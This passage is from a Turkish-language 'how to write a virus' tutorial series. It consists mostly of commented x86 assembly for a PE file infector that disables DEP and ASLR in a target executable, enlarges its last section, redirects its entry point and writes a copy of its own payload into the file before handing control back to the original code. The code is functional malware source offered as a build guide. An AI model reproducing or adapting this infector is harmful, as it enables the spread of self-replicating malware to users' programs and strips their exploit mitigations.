; 2. AMAÇ: Dosya'daki NX_COMPAT ve ASLR bit'lerini iptal et (ecx, edi ve ebx register'larına dokunmayacağız) ; DEP desteğini kaldırarak executable olmayan bir section'da da shellcode'umuzu çalıştırabileceğiz ; IMAGE_NT_HEADERS offset'ine git push ecx ; push *fread push edi ; push *fseek push ebx ; FILE *stream call image_nt_headers_offsetine_yuru add esp, 12 ; call parametre alanını geri veriyoruz ; IMAGE_NT_HEADERS içinde 0x5C offset'e git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 1 ; SEEK_CUR push 0x5C ; IMAGE_NT_HEADERS içinde 0x5C offset'i - DLL Characteristics son 2 byte'ta push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Son 2 Byte'tında DLL Characteristics değeri bulunan veriyi oku sub esp, 4 ; buffer için yer aç mov edx, esp ; buffer adresini EDX'e ata push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push edx ; buffer call ecx ; call fread add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ;Bu noktada son 2 Byte'ı DLL Characteristics değerini içeren değer ESP'nin işaret ettiği buffer'da ve bu adres aynı zamanda EDX register'ı tarafından işaret ediliyor pop edx ; Okuduğumuz DLL Characteristics değeri şu anda EDX'te ; ESP orjinal noktasında and edx, 0xFEBFFFFF ; Dynamic Base 0x0040 ve NX Compat 0x0100 bitlerini sıfırlamak için AND işlemi gerçekleştiriyoruz push edx ; Dynamic Base 0x0040 ve NX Compat 0x0100 bitleri sıfırlanmış DLL Characteristics değerini tekrar stack'e yazıyoruz ; ESP+4 mov edx, esp ; Buffer'ın adresini EDX'e atıyoruz ; IMAGE_NT_HEADERS offset'ine git push ecx ; push *fread push edi ; push *fseek push ebx ; FILE *stream call image_nt_headers_offsetine_yuru add esp, 12 ; call parametre alanını geri veriyoruz ; 0x5C offset'ine git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 1 ; SEEK_CUR push 0x5C ; IMAGE_NT_HEADERS içinde 0x5C offset'i - DLL Characteristics push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream) ;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde) push esi ; msvcr120.dll modül adresi push 0x11380979 ; hash(fwrite) call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür add esp, 8 ; call parametre alanını geri veriyoruz push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - yazma sayısı push 1 ; size - her seferinde yazılacak veri miktarı push edx ; buffer call eax ; call fwrite add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz add esp,4 ; Buffer için aldığımız alanı da iade ediyoruz ; ESP orjinal noktasında
Makalemizin ikinci bölümünde DLL Characteristics alanının DEP ve ASLR özellikleri ile ilgili olduğunu belirtmiştik.
Bir sonraki adımda “a.exe” isimli dosyanın son section başlığını bulacağız ve amaçlarımıza uygun olarak düzenleyeceğiz. Özetle bu section’ın büyüklüğünü virüs kodumuzu yazabilecek kadar artıracağız. Virüsü yazma işlemini daha sonraki bir adımda gerçekleştireceğiz.
; 3. AMAÇ: Son section header'ı bul ve düzenle ; Dosyadaki section sayısını bularak son section'ın başlangıç adresini buluyoruz. Daha sonra bu section içindeki virtual ve fiziksel büyüklük değerlerini artırıyoruz. ; IMAGE_NT_HEADERS offset değerinin stack'e kaydedilmesi'nin BAŞLANGICI ; IMAGE_NT_HEADERS offset'ine git push ecx ; push *fread push edi ; push *fseek push ebx ; FILE *stream call image_nt_headers_offsetine_yuru add esp, 12 ; call parametre alanını geri veriyoruz ; Bu noktada EAX register'ı IMAGE_NT_HEADERS offset'ini içeriyor push eax ; IMAGE_NT_HEADERS offseti ; ESP+4 ; IMAGE_NT_HEADERS offset değerinin stack'e kaydedilmesi'nin SONU ; Son section hariç toplam section header uzunlukları toplamının stack'e kaydedilmesi'nin BAŞLANGICI ; IMAGE_NT_HEADERS içinde 0x06 offset'e git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 1 ; SEEK_CUR push 0x06 ; IMAGE_NT_HEADERS içinde 0x06 offset'i push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Number of Sections değerini oku xor eax, eax push eax ; Buffer için yer açıyoruz, aynı zamanda bu alanı sıfırlıyoruz ; ESP+8 mov eax, esp ; buffer adresini EAX'e ata push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 2 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push eax ; buffer call ecx ; call fread add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ;Bu noktada Number of Sections değeri ESP'nin işaret ettiği buffer'da. mov edx, [esp] ; Number of Sections değeri EDX'e atanıyor add esp, 4 ; buffer için kullandığımız 4 byte'ı iade ediyoruz ; ESP+4 ; Çarpma işlemi hazırlığı xor eax, eax mov al, 0x28 ; her bir section header'ın uzunluğu dec edx ; son section header'ın başına gitmeyi hedeflediğimizden section sayısını bir azaltıyoruz mul dl ; EDX = section sayısı - 1 değerini içeriyordu ve bu değerin 1 byte'ı aşma olasılığı çok düşük. Çarpma sonucu AH ve AL register'larında yer alacaktır ;Bu noktada AX ve dolayısıyla EAX register'ı son section hariç toplam section header uzunluğunu içeriyor push eax ; Son section hariç Toplam Section Header uzunluğunu stack'e yazıyoruz ; ESP+8 ; Son section hariç toplam section header uzunlukları toplamının stack'e kaydedilmesi'nin SONU ; Size of Optional Header'ın EDX register'ına saklanmasının BAŞLANGICI ; IMAGE_NT_HEADERS offset'ine git push ecx ; push *fread push edi ; push *fseek push ebx ; FILE *stream call image_nt_headers_offsetine_yuru add esp, 12 ; call parametre alanını geri veriyoruz ; Bu noktada EAX register'ı IMAGE_NT_HEADERS offset'ini içeriyor ; IMAGE_NT_HEADERS içinde 0x14 offset'e git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 1 ; SEEK_CUR push 0x14 ; IMAGE_NT_HEADERS içinde 0x14 offset'i push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Size of Optional Header değerini oku xor eax, eax push eax ; Buffer için yer açıyoruz, aynı zamanda bu alanı sıfırlıyoruz ; ESP+12 mov eax, esp ; buffer adresini EAX'e ata push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 2 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push eax ; buffer call ecx ; call fread add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ;Bu noktada Size of Optional Header değeri ESP'nin işaret ettiği buffer'da mov edx, [esp] ; Toplama işlemini EDX register'ı üzerinde yapacağız add esp, 4 ; buffer için kullandığımız 4 byte'ı iade ediyoruz ; ESP+8 ; Size of Optional Header'ın EDX register'ına saklanmasının SONU ;Bu noktada ;EDX'te Size of Optional Header ;ESP tarafından işaret edilen alanda son section hariç Toplam Section Header uzunluğu ;ESP+4 tarafından işaret edilen alanda IMAGE_NT_HEADERS offseti yer alıyor ;Son section header'ın başlangıcı = EDX + [ESP] + [ESP + 4] + 0x18 (Signature + IMAGE_FILE_HEADER) add edx, [esp] add edx, [esp + 4] add edx, 0x18 ; Bu noktada son section header'ın başlangıç offset'i EDX register'ında add esp, 8 ; Uzunluk bilgilerini saklamak için kullandığımız alanları (TOPLAM 8 BYTE) iade ediyoruz ; ESP orjinal noktasında ; Artık EDX register'ında bulunan offset bilgisini kullanarak section büyüklüklerini 0x800'er byte artırabiliriz ; VIRTUAL SIZE değerinin düzenlenmesi add edx, 0x08 ; Son section header'daki Virtual Size offset'i ; Son section header'daki Virtual Size offset'ine git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 0 ; SEEK_SET push edx ; offset push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Virtual Size değerini oku sub esp, 4 ; buffer için yer aç ; ESP+4 mov eax, esp ; buffer adresini EAX'e ata push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push eax ; buffer call ecx ; call fread add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Bu noktada ESP buffer'ımıza işaret ediyor mov eax, [esp] add eax, 0x800 ; 0x800 byte artırmamızın ve orjinal virüs kodumuzda da 0x800 byte'ı doldurmamızın nedeni Virtual Size'ın fiziksel alandan küçük olması halinde payload'umuzun bir kısmının kırpılması riskini azaltmak add esp, 4 ; fread Buffer'ı için aldığımız alanı geri veriyoruz ; ESP orjinal noktasında push eax ; Yeni Virtual Size değerini stack'e kaydediyoruz ; ESP+4 mov ebp, esp ; Yeni Virtual Size değerinin tutulduğu buffer'ın adresini EBP'ye yazıyoruz ; Yeni Virtual Size'ı section header'a yaz push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 0 ; SEEK_SET push edx ; offset push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde) push esi ; msvcr120.dll modül adresi push 0x11380979 ; hash(fwrite) call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür add esp, 8 ; call parametre alanını geri veriyoruz push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - yazma sayısı push 1 ; size - her seferinde yazılacak veri miktarı push ebp ; buffer * call eax ; call fwrite add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz add esp,4 ; Buffer için aldığımız alanı da iade ediyoruz ; ESP orjinal noktasında ; SIZE OF RAW DATA değerinin düzenlenmesi add edx, 0x08 ; Son section header'daki Size of Raw Data offset'i ; Son section header'daki Size of Raw Data offset'ine git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 0 ; SEEK_SET push edx ; offset push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Size of Raw Data değerini oku sub esp, 4 ; buffer için yer aç ; ESP+4 mov eax, esp ; buffer adresini EAX'e ata push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push eax ; buffer call ecx ; call fread add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Bu noktada ESP buffer'ımıza işaret ediyor mov eax, [esp] add esp, 4 ; fread Buffer'ı için aldığımız alanı geri veriyoruz ; ESP orjinal noktasında push eax ; Orjinal Size of Raw Data değerini stack'e kaydediyoruz ; ESP+4 add eax, 0x800 ; Neden 0x800 byte eklediğimiz yukarıda açıklandı push eax ; Yeni Size of Raw Data değerini stack'e kaydediyoruz ; ESP+8 mov ebp, esp ; Dosyaya yazılacak olan yeni Size of Raw Data'nın buffer adresi EBP'ye atanıyor ; Yeni Size of Raw Data'yı section header'a yaz push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 0 ; SEEK_SET push edx ; offset push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde) push esi ; msvcr120.dll modül adresi push 0x11380979 ; hash(fwrite) call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür add esp, 8 ; call parametre alanını geri veriyoruz push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - yazma sayısı push 1 ; size - her seferinde yazılacak veri miktarı push ebp ; buffer * call eax ; call fwrite add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz add esp,4 ; Buffer için aldığımız alanı iade ediyoruz ; ESP+4 (Orjinal Size of Raw Data değeri stack'te) add edx, 0x04 ; Dosya'nın son section'ının sonuna payload'umuzun yazılması kısmında kullanmak üzere Dosya'nın son section header'ındaki Pointer to Raw Data offset'i hesaplıyoruz push edx ; Pointer to Raw Data offset'i sonra kullanılmak üzere STACK'e yazıyoruz - bu bilgi aşağıda kullanılacak ; ESP+8 (Pointer to Raw Data offset'i stack'te)
Evet oldukça uzun bir kod parçası. Kaybolmamak için hedeflerimizi kısaca açıklayayım; section başlığımızın içinde virtual size ve fiziksel büyüklük alanlarını artırıyoruz. Bir section’ın fiziksel ve virtual büyüklüklerinin birbirlerinden neden farklı olabileceğini Stack Tabanlı Hafıza Taşma Açıklıkları video serimizde açıklamıştık. Burada ihtiyacımız olandan daha büyük bir artırma (0X800 byte) yapmamızın sebebi virtual size’ın fiziksel büyüklükten daha kısa olması halinde kodumuzun hafızaya yerleştirilmeme riskini azaltmak.
Bir sonraki adımda “a.exe” dosyasının Address of Entry Point değerini virüsümüzü yazacağımız son section’ın (orjinal) son adresi olarak değiştireceğiz.
; 4. AMAÇ: Address of Entry Point'in son section'da payload'un yazılacağı adres olarak değiştirilmesi ; Bu noktada ESP -> Pointer to Raw Data offset'i, ESP+4 -> Orjinal Size of Raw Data'yı içeriyor sub edx, 0x08 ; EDX dosya'nın son Section Header'ının RVA offset'ine işaret ediyor push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 0 ; SEEK_SET push edx ; offset push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Son section'ın RVA değerini oku sub esp, 4 ; buffer için yer aç ; ESP+12 mov eax, esp ; buffer adresini EAX'e ata push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push eax ; buffer call ecx ; call fread add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Bu noktada ESP buffer'ımıza işaret ediyor mov ebp, [esp] ; EBP son section header'daki RVA değerini içeriyor add esp, 4 ; fread Buffer'ı için aldığımız alanı geri veriyoruz ; ESP+8 add ebp, [esp+4]; Section RVA değerine Orjinal Size of Raw Data'yı ekliyoruz push ebp ; Payload'umuzun yazılacağı RVA değerini STACK'e buffer alanına yazıyoruz ; ESP+12 mov ebp, esp ; Buffer alanının adresini EBP'ye kaydediyoruz ; IMAGE_NT_HEADERS offset'ine git push ecx ; push *fread push edi ; push *fseek push ebx ; FILE *stream call image_nt_headers_offsetine_yuru add esp, 12 ; call parametre alanını geri veriyoruz ; IMAGE_NT_HEADERS içinde 0x28 offset'e git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 1 ; SEEK_CUR push 0x28 ; IMAGE_NT_HEADERS içinde 0x28 offset'i push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde) push esi ; msvcr120.dll modül adresi push 0x11380979 ; hash(fwrite) call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür add esp, 8 ; call parametre alanını geri veriyoruz push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - yazma sayısı push 1 ; size - her seferinde yazılacak veri miktarı push ebp ; buffer call eax ; call fwrite add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz add esp, 4 ; Payload'umuzun yazılacağı RVA değerini yazmak için kullandığımız buffer alanını iade ediyoruz ; ESP+8
Bir sonraki adımda virüs kodumuzu a.exe dosyasının son section’ının sonuna yazacağız. Bu adımı gerçekleştirmek için öncelikle içinde çalıştığımız prosesin son section’ının son bölümünü okuyacağız. Okuduğumuz 0X600 byte’ı a.exe’nin sonuna yazdıktan sonra 0X200 byte’lık bir alanı da null karakterler ile pad’leyeceğiz.
; 5. AMAÇ: Dosya'nın son section'ının sonuna payload'umuzun yazılması ; Payload'umuzun yazılacağı adresin belirlenmesi ; Yukarıda stack'e orjinal Size of Raw Data yazılmıştı ; Burada da Pointer to Raw Data bulunarak bu değere eklenecek ve payload yazma adresimizi bulacağız pop edx ; Son section header'daki Pointer to Raw Data offset'i ; ESP+4 ; Son section header'daki Pointer to Raw Data offset'ine git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 0 ; SEEK_SET push edx ; offset push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Pointer to Raw Data değerini oku sub esp, 4 ; buffer için yer aç ; ESP+8 mov eax, esp ; buffer adresini EAX'e ata push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push eax ; buffer call ecx ; call fread add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Bu noktada ESP buffer'ımıza işaret ediyor mov eax, [esp] ; Pointer to Raw Data değerini EAX'e aktarıyoruz add esp, 4 ; fread için aldığımız stack alanını geri veriyoruz ; ESP+4 mov ebp, [esp] ; Orjinal Size of Raw Data değerini EBP'ye aktarıyoruz add esp, 4 ; Orjinal Size of Raw Data değerini saklamak için kullandığımız stack alanını geri veriyoruz ; ESP orjinal noktasında add ebp, eax ; EBP register'ı Payload'umuzu yazacağımız dosya offset'ini içeriyor ; Daha sonra stack'ten tekrar kopyalamak üzere bazı değerleri kaydediyoruz push edi ; fseek fonksiyon adresi push ebx ; FILE *stream push ebp ; Dosya offset değerini STACK'E yazıyoruz ; Şimdi çalışan prosesin içinde payload'un başladığı adresi bulacağız ; GetModuleHandleA(NULL) EAX register'ında EXE'nin baz adresini döndürür push 0x772a2220 ; hash(kernel32.dll) call modul_bul add esp, 4 ; call parametre alanını geri veriyoruz push eax ;kernel32.dll modülünün adresini stack'e yaz ; GetModuleHandleA fonksiyonunun adresini bul (kernel32.dll kütüphanesinde) push 0xa4aa2707 ; hash(GetModuleHandleA) call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür add esp, 8 ; call parametre alanını geri veriyoruz push 0 ; NULL parametresi call eax ; call GetModuleHandleA ; Bu fonksiyon için callee parametreler için alanı geri verdiğinden (STDCALL calling convention'ı) caller tarafında, yani burada ESP'ye müdahale etmiyoruz mov ebx, eax ; EXE modülü hafıza başlangıç adresi EBX register'ına aktarılır mov ebp, eax ; EXE modülü hafıza başlangıç adresi EBP register'ına aktarılır. EBP'ye dokunmayacağız add eax, 0x3C ; IMAGE_NT_HEADERS offset adresinin tutulduğu offset mov eax, [eax] ; EAX register'ı IMAGE_NT_HEADERS offset'ini içeriyor add ebx, eax ; EBX register'ı IMAGE_NT_HEADERS adresini içeriyor, sonraki alan adreslerini oluşturmak için bu register'ı kullanacağız mov ecx, ebx ; ECX register'ı da IMAGE_NT_HEADERS adresini içeriyor, bu register'ı # of sections değerini bulmak için kullanacağız add ecx, 6 ; ECX IMAGE_FILE_HEADER+6 adresini içeriyor mov cx, [ecx] ; CX register'ı 4 bitlik # of Sections değerini içeriyor dec cl ; Son section'ın ilk adresini bulabilmek için (# of Sections - 1) hesaplamasını yapıyoruz xor eax, eax ; EAX register'ını sıfırlıyoruz ki çarpma sonucunda üst byte'lar temiz kalsın mov al, 0x28; Her bir section header'ın uzunluğu 0x28 byte mul cl ; CL section sayısı - 1 değerini içeriyordu ve bu değerin 1 byte'ı aşma olasılığı çok düşük. Çarpma sonucu AH ve AL register'larında yer alacaktır ; Bu noktada EBX = IMAGE_NT_HEADERS adresi, EAX = (# of sections - 1) x 0x28 değerlerini içeriyor. ; Şimdi sırada ilk Section Header'ının değerini bulmak var mov ecx, ebx ; ECX = IMAGE_NT_HEADERS add ecx, 0x14 ; Size of Optional Header'ın offset'i xor edx, edx ; EDX sıfırlandı mov dx, [ecx] ; DX register'ı ve dolayısıyla EDX Size of Optional Header değerini içeriyor add ebx, 0x18 ; EBX = IMAGE_NT_HEADERS + Signature + IMAGE_FILE_HEADER add ebx, edx ; EBX = IMAGE_NT_HEADERS + Signature + IMAGE_FILE_HEADER + IMAGE_OPTIONAL_HEADER = İlk section header'ın başlangıç adresi add ebx, eax ; EBX = Son section header'ın başlangıç adresi add ebx, 0x0C ; EBX = RVA değerinin adresi mov ecx, [ebx] ; ECX = RVA değeri add ecx, ebp ; ECX = Son section'ın hafızadaki başlangıç adresi add ebx, 0x04 ; EBX = Size of Raw Data'nın adresi add ecx, [ebx] ; ECX = Son section'ın son adresi (payload'umuz açısından) sub ecx, 0x800 ; ECX = Payload'umuzun hafızadaki başlangıç adresi ; Yukarıda kaydettiğimiz değerleri geri yüklüyoruz pop ebp ; Dosya offset değerini EBP'ye atıyoruz pop ebx ; FILE *stream değerini EBX'e atıyoruz pop edi ; fseek fonksiyon adresi EDI'a atıyoruz ; Hafızadaki payload'u dosyaya yaz mov edx, ebp ; Klasik fseek çağrı parametre register'larımızı bozmamak için yazmaya başlayacağımız dosya offset'ini EDX'e atıyoruz push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 0 ; SEEK_SET push edx ; offset push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde) push esi ; msvcr120.dll modül adresi push 0x11380979 ; hash(fwrite) call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür add esp, 8 ; call parametre alanını geri veriyoruz mov edx, eax ; fwrite fonksiyonunun adresini daha sonra da kullanmak üzere EDX'e atıyoruz ; İlk 0x600 byte kodumuzu içerecek ve hafızadan yüklenecek. ; Ancak virtual size - fiziksel büyüklük farkı dolayısıyla 0x600 byte'ın tamamı hafızaya yüklenmemiş olabilir. Bu yüzden son 0x200 byte'ı "0" ile dolduracağız push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 0x600 ; nmemb - yazma sayısı push 0x1 ; size - her seferinde yazılacak veri miktarı push ecx ; buffer - yani hafızada payload'umuzun bulunduğu alanın başlangıcı call eax ; call fwrite add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz push 0 ; Son 0x200 byte'ı (dec 512) yazmak için kullanacağımız 4 byte'lık buffer. Bu alanı döngü tamamlandıktan sonra geri vereceğiz. ; ESP+4 mov ebp, esp ; EBP buffer'ımızın adresini içeriyor mov ecx, 0x80 ; sayaç değerimiz hex 0x80 dec 128 doldur: push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 0x04 ; nmemb - yazma sayısı push 1 ; size - her seferinde yazılacak veri miktarı push ebp ; buffer - 0x00000000 değerini barındıran stack alanının adresi call edx ; call fwrite add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz loop doldur add esp, 4 ; 0x00000000 değerini saklamak için aldığımız alanı iade ediyoruz. ; ESP orjinal noktada
“a.exe” ile işimiz bittikten sonra artık dosyayı kapatabiliriz.
; Dosyayı kapat push esi ; msvcr120.dll modül adresi push 0x11060851 ; hash(fclose) call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür add esp, 8 ; call parametre alanını geri veriyoruz push ebx ; FILE *stream call eax ; call fclose add esp, 4 ; call parametre alanını geri veriyoruz
Yukarıda “a.exe” dosyasını bulamadığımızda da çalıştırılan son bölüme, “a.exe” ile işimiz bittiğinde de ihtiyacımız var. Bu nedenle son olarak OEM bölgesine yazılmış olan orjinal başlangıç noktasını okuyoruz, bu değeri EAX register’ına yazıyoruz ve bu adrese atlayarak uygulamanın normal akışına devam etmesine izin veriyoruz.
son_nokta : ; Bu noktadan sonra program normal akışına devam edecek ; GetModuleHandleA(NULL) EAX register'ında EXE'nin baz adresini döndürür push 0x772a2220 ; hash(kernel32.dll) call modul_bul add esp, 4 ; call parametre alanını geri veriyoruz push eax ; kernel32.dll modülünün adresini stack'e yaz ; GetModuleHandleA fonksiyonunun adresini bul (kernel32.dll kütüphanesinde) push 0xa4aa2707 ; hash(GetModuleHandleA) call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür add esp, 8 ; call parametre alanını geri veriyoruz push 0 call eax ; call GetModuleHandleA ; STDCALL calling convention gereği caller parametre alanını geri verdiğinden mov ebp, eax ; EXE modül baz adresini EBP'ye atıyoruz add eax, 0x24 ; OEM bölgesinin adresi mov eax, [eax] ; RVA entry point değerini EAX'e atıyoruz add eax, ebp ; VA entry point değerini hesaplıyoruz ; Payload'umuz çalışmadan önceki (EAX hariç) register değerlerini eski hallerine getiriyoruz pop esp pop ebp pop edx pop ecx pop edi pop esi pop ebx jmp eax ; Orjinal Address of Entry Point adresine atlıyoruz
En başta değerlerini korumak için stack’e yazdığımız EAX hariç register’ları da orjinal değerlerine getirdikten sonra uygulamayı kendi akışına bırakıyoruz. Tabi dikkat ettiğimiz bir diğer nokta da stack’i bulduğumuz gibi bırakmak. Zira stack yapıları uygulamanın akışı ve parametre barındırma amaçları için kullanıldığından bu yapıların bütünlüğü uygulamanın problemsiz akışı için son derece önemli.
Gelecek bölümde virüs kodumuzun tamamını yayınladıktan, bulaşma örneğini paylaştıktan ve virüs total sonuçlarını paylaştıktan sonra virüs nasıl yazılır makale dizimizi tamamlayacağız.
Kodu okuduktan sonra önceki makalelerde bulanık kalan konular da berraklaşmıştır diye umuyorum.
Sonraki bölümde görüşmek üzere.
<<Önceki Bölüm Sonraki Bölüm>>